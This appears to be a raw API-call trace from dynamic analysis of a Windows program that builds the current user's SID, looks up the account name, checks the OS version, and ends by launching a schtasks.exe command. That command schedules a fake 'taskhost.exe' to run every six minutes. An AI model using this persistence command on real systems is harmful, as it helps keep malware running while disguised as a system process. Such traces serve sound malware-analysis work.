[0142.092] SetEvent (hEvent=0x1f0) returned 1 [0142.094] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0142.094] GetLastError () returned 0x7a [0142.094] malloc (_Size=0x2c) returned 0x2ae2a0 [0142.094] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0142.094] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0142.094] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0142.094] malloc (_Size=0x1c) returned 0x2b0000 [0142.094] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0142.094] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0142.094] malloc (_Size=0x18) returned 0x2af0e0 [0142.094] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0142.095] malloc (_Size=0x18) returned 0x2af0c0 [0142.095] malloc (_Size=0x18) returned 0x2aefc0 [0142.095] SysStringLen (param_1="S-1-") returned 0x4 [0142.095] SysStringLen (param_1="5") returned 0x1 [0142.095] memcpy (in: _Dst=0x161858, _Src=0x161a38, _Size=0xa | out: _Dst=0x161858) returned 0x161858 [0142.095] memcpy (in: _Dst=0x161860, _Src=0x161828, _Size=0x4 | out: _Dst=0x161860) returned 0x161860 [0142.095] free (_Block=0x2af0e0) [0142.095] free (_Block=0x2af0c0) [0142.095] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0142.095] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0142.095] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0142.095] malloc (_Size=0x18) returned 0x2af0c0 [0142.095] malloc (_Size=0x18) returned 0x2af0e0 [0142.095] SysStringLen (param_1="S-1-5") returned 0x5 [0142.095] SysStringLen (param_1="-") returned 0x1 [0142.095] memcpy (in: _Dst=0x161828, _Src=0x161858, _Size=0xc | out: _Dst=0x161828) returned 0x161828 [0142.095] memcpy (in: _Dst=0x161832, _Src=0x161a38, _Size=0x4 | out: _Dst=0x161832) returned 0x161832 [0142.095] free (_Block=0x2aefc0) [0142.095] free (_Block=0x2af0c0) [0142.095] malloc (_Size=0x18) returned 0x2af0c0 [0142.095] malloc (_Size=0x18) returned 0x2aefc0 [0142.095] SysStringLen (param_1="S-1-5-") returned 0x6 [0142.095] SysStringLen (param_1="21") returned 0x2 [0142.096] memcpy (in: _Dst=0x161a38, _Src=0x161828, _Size=0xe | out: _Dst=0x161a38) returned 0x161a38 [0142.096] memcpy (in: _Dst=0x161a44, _Src=0x161858, _Size=0x6 | out: _Dst=0x161a44) returned 0x161a44 [0142.096] free (_Block=0x2af0e0) [0142.096] free (_Block=0x2af0c0) [0142.096] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0142.096] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0142.096] malloc (_Size=0x18) returned 0x2af0c0 [0142.096] malloc (_Size=0x18) returned 0x2af0e0 [0142.096] SysStringLen (param_1="S-1-5-21") returned 0x8 [0142.096] SysStringLen (param_1="-") returned 0x1 [0142.096] memcpy (in: _Dst=0x161858, _Src=0x161a38, _Size=0x12 | out: _Dst=0x161858) returned 0x161858 [0142.096] memcpy (in: _Dst=0x161868, _Src=0x161828, _Size=0x4 | out: _Dst=0x161868) returned 0x161868 [0142.096] free (_Block=0x2aefc0) [0142.096] free (_Block=0x2af0c0) [0142.096] malloc (_Size=0x18) returned 0x2af0c0 [0142.096] malloc (_Size=0x18) returned 0x2aefc0 [0142.096] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0142.096] SysStringLen (param_1="4219442223") returned 0xa [0142.096] memcpy (in: _Dst=0x117a48, _Src=0x161858, _Size=0x14 | out: _Dst=0x117a48) returned 0x117a48 [0142.096] memcpy (in: _Dst=0x117a5a, _Src=0x161a38, _Size=0x16 | out: _Dst=0x117a5a) returned 0x117a5a [0142.096] free (_Block=0x2af0e0) [0142.096] free (_Block=0x2af0c0) [0142.096] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0142.097] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0142.097] malloc (_Size=0x18) returned 0x2af0c0 [0142.097] malloc (_Size=0x18) returned 0x2af0e0 [0142.097] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0142.097] SysStringLen (param_1="-") returned 0x1 [0142.097] memcpy (in: _Dst=0x1179a8, _Src=0x117a48, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0142.097] memcpy (in: _Dst=0x1179ce, _Src=0x161858, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0142.097] free (_Block=0x2aefc0) [0142.097] free (_Block=0x2af0c0) [0142.097] malloc (_Size=0x18) returned 0x2af0c0 [0142.097] malloc (_Size=0x18) returned 0x2aefc0 [0142.097] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0142.097] SysStringLen (param_1="4223814209") returned 0xa [0142.097] memcpy (in: _Dst=0x12d918, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0142.097] memcpy (in: _Dst=0x12d940, _Src=0x161858, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0142.097] free (_Block=0x2af0e0) [0142.097] free (_Block=0x2af0c0) [0142.097] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0142.097] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0142.097] malloc (_Size=0x18) returned 0x2af0c0 [0142.097] malloc (_Size=0x18) returned 0x2af0e0 [0142.097] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0142.097] SysStringLen (param_1="-") returned 0x1 [0142.098] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0142.098] memcpy (in: _Dst=0x12dc84, _Src=0x161858, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0142.098] free (_Block=0x2aefc0) [0142.098] free (_Block=0x2af0c0) [0142.098] malloc (_Size=0x18) returned 0x2af0c0 [0142.098] malloc (_Size=0x18) returned 0x2aefc0 [0142.098] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0142.098] SysStringLen (param_1="3835049652") returned 0xa [0142.098] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0142.098] memcpy (in: _Dst=0x12d956, _Src=0x161858, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0142.098] free (_Block=0x2af0e0) [0142.098] free (_Block=0x2af0c0) [0142.098] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0142.098] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0142.098] malloc (_Size=0x18) returned 0x2af0c0 [0142.098] malloc (_Size=0x18) returned 0x2af0e0 [0142.098] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0142.098] SysStringLen (param_1="-") returned 0x1 [0142.098] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0142.098] memcpy (in: _Dst=0x12dc9a, _Src=0x161858, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0142.098] free (_Block=0x2aefc0) [0142.099] free (_Block=0x2af0c0) [0142.099] malloc (_Size=0x18) returned 0x2af0c0 [0142.099] malloc (_Size=0x18) returned 0x2aefc0 [0142.099] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0142.099] SysStringLen (param_1="1000") returned 0x4 [0142.099] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0142.099] memcpy (in: _Dst=0x12d96c, _Src=0x161858, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0142.099] free (_Block=0x2af0e0) [0142.099] free (_Block=0x2af0c0) [0142.099] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0142.099] malloc (_Size=0x5e) returned 0x2b08a0 [0142.099] free (_Block=0x2aefc0) [0142.099] malloc (_Size=0x18) returned 0x2aefc0 [0142.100] free (_Block=0x2b08a0) [0142.100] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0142.101] GetLastError () returned 0x7a [0142.101] malloc (_Size=0x14) returned 0x2af0c0 [0142.102] malloc (_Size=0x16) returned 0x2af0e0 [0142.102] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca84, ReferencedDomainName=0x2af0e0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0142.102] malloc (_Size=0x18) returned 0x2af000 [0142.102] malloc (_Size=0x18) returned 0x2aefa0 [0142.102] free (_Block=0x2af0c0) [0142.102] free (_Block=0x2af0e0) [0142.103] free (_Block=0x2b0000) [0142.103] free (_Block=0x2aefa0) [0142.103] free (_Block=0x2af000) [0142.103] free (_Block=0x2aefc0) [0142.103] free (_Block=0x2ae2a0) [0142.104] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0142.104] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0142.104] GetLastError () returned 0x7a [0142.104] malloc (_Size=0x2c) returned 0x2ae2e0 [0142.104] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0142.104] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0142.104] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0142.104] malloc (_Size=0x1c) returned 0x2b0000 [0142.104] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0142.104] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0142.104] malloc (_Size=0x18) returned 0x2aefc0 [0142.104] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0142.104] malloc (_Size=0x18) returned 0x2af000 [0142.104] malloc (_Size=0x18) returned 0x2aefa0 [0142.104] SysStringLen (param_1="S-1-") returned 0x4 [0142.105] SysStringLen (param_1="5") returned 0x1 [0142.105] memcpy (in: _Dst=0x161a38, _Src=0x161828, _Size=0xa | out: _Dst=0x161a38) returned 0x161a38 [0142.105] memcpy (in: _Dst=0x161a40, _Src=0x161858, _Size=0x4 | out: _Dst=0x161a40) returned 0x161a40 [0142.105] free (_Block=0x2aefc0) [0142.105] free (_Block=0x2af000) [0142.105] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0142.105] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0142.105] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0142.105] malloc (_Size=0x18) returned 0x2af000 [0142.105] malloc (_Size=0x18) returned 0x2aefc0 [0142.105] SysStringLen (param_1="S-1-5") returned 0x5 [0142.105] SysStringLen (param_1="-") returned 0x1 [0142.105] memcpy (in: _Dst=0x161858, _Src=0x161a38, _Size=0xc | out: _Dst=0x161858) returned 0x161858 [0142.105] memcpy (in: _Dst=0x161862, _Src=0x161828, _Size=0x4 | out: _Dst=0x161862) returned 0x161862 [0142.105] free (_Block=0x2aefa0) [0142.105] free (_Block=0x2af000) [0142.105] malloc (_Size=0x18) returned 0x2af000 [0142.105] malloc (_Size=0x18) returned 0x2aefa0 [0142.105] SysStringLen (param_1="S-1-5-") returned 0x6 [0142.105] SysStringLen (param_1="21") returned 0x2 [0142.106] memcpy (in: _Dst=0x161828, _Src=0x161858, _Size=0xe | out: _Dst=0x161828) returned 0x161828 [0142.106] memcpy (in: _Dst=0x161834, _Src=0x161a38, _Size=0x6 | out: _Dst=0x161834) returned 0x161834 [0142.106] free (_Block=0x2aefc0) [0142.106] free (_Block=0x2af000) [0142.106] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0142.106] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0142.106] malloc (_Size=0x18) returned 0x2af000 [0142.106] malloc (_Size=0x18) returned 0x2aefc0 [0142.106] SysStringLen (param_1="S-1-5-21") returned 0x8 [0142.106] SysStringLen (param_1="-") returned 0x1 [0142.106] memcpy (in: _Dst=0x161a38, _Src=0x161828, _Size=0x12 | out: _Dst=0x161a38) returned 0x161a38 [0142.106] memcpy (in: _Dst=0x161a48, _Src=0x161858, _Size=0x4 | out: _Dst=0x161a48) returned 0x161a48 [0142.106] free (_Block=0x2aefa0) [0142.106] free (_Block=0x2af000) [0142.106] malloc (_Size=0x18) returned 0x2af000 [0142.106] malloc (_Size=0x18) returned 0x2aefa0 [0142.106] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0142.106] SysStringLen (param_1="4219442223") returned 0xa [0142.106] memcpy (in: _Dst=0x117a48, _Src=0x161a38, _Size=0x14 | out: _Dst=0x117a48) returned 0x117a48 [0142.106] memcpy (in: _Dst=0x117a5a, _Src=0x161828, _Size=0x16 | out: _Dst=0x117a5a) returned 0x117a5a [0142.106] free (_Block=0x2aefc0) [0142.107] free (_Block=0x2af000) [0142.107] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0142.107] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0142.107] malloc (_Size=0x18) returned 0x2af000 [0142.107] malloc (_Size=0x18) returned 0x2aefc0 [0142.107] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0142.107] SysStringLen (param_1="-") returned 0x1 [0142.107] memcpy (in: _Dst=0x1179a8, _Src=0x117a48, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0142.107] memcpy (in: _Dst=0x1179ce, _Src=0x161a38, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0142.107] free (_Block=0x2aefa0) [0142.107] free (_Block=0x2af000) [0142.107] malloc (_Size=0x18) returned 0x2af000 [0142.107] malloc (_Size=0x18) returned 0x2aefa0 [0142.107] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0142.107] SysStringLen (param_1="4223814209") returned 0xa [0142.107] memcpy (in: _Dst=0x12dc48, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0142.107] memcpy (in: _Dst=0x12dc70, _Src=0x161a38, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0142.107] free (_Block=0x2aefc0) [0142.107] free (_Block=0x2af000) [0142.107] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0142.107] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0142.108] malloc (_Size=0x18) returned 0x2af000 [0142.108] malloc (_Size=0x18) returned 0x2aefc0 [0142.108] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0142.108] SysStringLen (param_1="-") returned 0x1 [0142.108] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0142.108] memcpy (in: _Dst=0x12d954, _Src=0x161a38, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0142.108] free (_Block=0x2aefa0) [0142.108] free (_Block=0x2af000) [0142.108] malloc (_Size=0x18) returned 0x2af000 [0142.108] malloc (_Size=0x18) returned 0x2aefa0 [0142.108] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0142.108] SysStringLen (param_1="3835049652") returned 0xa [0142.108] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0142.108] memcpy (in: _Dst=0x12dc86, _Src=0x161a38, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0142.108] free (_Block=0x2aefc0) [0142.108] free (_Block=0x2af000) [0142.108] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0142.108] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0142.108] malloc (_Size=0x18) returned 0x2af000 [0142.109] malloc (_Size=0x18) returned 0x2aefc0 [0142.109] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0142.109] SysStringLen (param_1="-") returned 0x1 [0142.109] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0142.109] memcpy (in: _Dst=0x12d96a, _Src=0x161a38, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0142.109] free (_Block=0x2aefa0) [0142.109] free (_Block=0x2af000) [0142.109] malloc (_Size=0x18) returned 0x2af000 [0142.109] malloc (_Size=0x18) returned 0x2aefa0 [0142.109] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0142.109] SysStringLen (param_1="1000") returned 0x4 [0142.109] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0142.109] memcpy (in: _Dst=0x12dc9c, _Src=0x161a38, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0142.109] free (_Block=0x2aefc0) [0142.109] free (_Block=0x2af000) [0142.109] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0142.109] malloc (_Size=0x5e) returned 0x2b08a0 [0142.109] free (_Block=0x2aefa0) [0142.109] malloc (_Size=0x18) returned 0x2aefa0 [0142.110] free (_Block=0x2b08a0) [0142.110] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0142.111] GetLastError () returned 0x7a [0142.111] malloc (_Size=0x14) returned 0x2af000 [0142.111] malloc (_Size=0x16) returned 0x2aefc0 [0142.111] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca94, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0142.111] malloc (_Size=0x18) returned 0x2af0e0 [0142.111] malloc (_Size=0x18) returned 0x2af0c0 [0142.111] free (_Block=0x2af000) [0142.111] free (_Block=0x2aefc0) [0142.112] free (_Block=0x2b0000) [0142.112] free (_Block=0x2af0c0) [0142.112] free (_Block=0x2af0e0) [0142.112] free (_Block=0x2aefa0) [0142.112] free (_Block=0x2ae2e0) [0142.113] malloc (_Size=0x48) returned 0x2ad270 [0142.113] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0142.118] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0142.118] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0142.118] malloc (_Size=0x18) returned 0x2aefa0 [0142.118] CreateEnvironmentBlock () returned 0x1 [0142.139] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0142.139] malloc (_Size=0x18) returned 0x2af0e0 [0142.139] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"taskhostt\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x174df0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"taskhostt\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xfdc, dwThreadId=0xfe0)) returned 1 [0142.143] CloseHandle (hObject=0x2f8) returned 1 